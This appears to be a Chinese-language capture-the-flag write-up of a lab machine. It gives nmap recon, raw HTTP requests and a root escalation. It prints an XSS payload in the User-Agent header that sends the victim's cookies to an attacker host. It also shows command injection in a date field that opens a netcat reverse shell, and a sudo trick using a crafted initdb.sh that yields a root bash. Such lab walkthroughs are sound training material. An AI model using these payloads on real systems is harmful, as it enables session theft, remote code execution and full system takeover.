Recon: 1 nmap 10.10.11.8 --min-rate 2000 -Pn -p1-10000 -sT -n
1 nmap 10.10.11.8 -p22,53,5000 -sC -sV -Pn
GetShell: 在5000端口上运行着一个web服务:
打开是一个给后端传递信息的接口,如果故意在session中填一些payload,会提示:
如果填正常的,即什么都没有发生:
可以利用回显字段来尝试xss:
将user-agent进行更改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /support HTTP/1.1 Host : 10.10.11.8:5000Content-Length : 115Cache-Control : max-age=0Accept-Language : en-USUpgrade-Insecure-Requests : 1Origin : http://10.10.11.8:5000Content-Type : application/x-www-form-urlencodedUser-Agent : <script>alert(1)</script>Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://10.10.11.8:5000/supportAccept-Encoding : gzip, deflate, brConnection : keep-alivefname =test&lname=test&email=kali%40 kali.com&phone=12345678901 &message=%3 Cscirpt%3 Ealert%28 %221 %22 %29 %3 C%2 Fscript%3 E
构造数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /support HTTP/1.1 Host : 10.10.11.8:5000Content-Length : 115Cache-Control : max-age=0Accept-Language : en-USUpgrade-Insecure-Requests : 1Origin : http://10.10.11.8:5000Content-Type : application/x-www-form-urlencodedUser-Agent : <script>var i=new Image(); i.src="http://10.10.16.44/?cookie="+btoa(document.cookie);</script>Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://10.10.11.8:5000/supportAccept-Encoding : gzip, deflate, brConnection : keep-alivefname =test&lname=test&email=kali%40 kali.com&phone=12345678901 &message=%3 Cscirpt%3 Ealert%28 %221 %22 %29 %3 C%2 Fscript%3 E
携带cookie访问目录:
burp抓包,在时间后边输入common,可以进行rce:
反弹shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /dashboard HTTP/1.1 Host : 10.10.11.8:5000Content-Length : 24Cache-Control : max-age=0Accept-Language : en-USUpgrade-Insecure-Requests : 1Origin : http://10.10.11.8:5000Content-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://10.10.11.8:5000/dashboardAccept-Encoding : gzip, deflate, brCookie : is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0Connection : keep-alivedate =2023 -09 -15 ;busybox nc 10.10.16.44 443 -e sh
GetRoot: 发现提权向量:
在当前目录创建initdb.sh文件:
1 echo -e '#!/bin/bash\n/bin/bash' > initdb.sh
运行sudo获取root: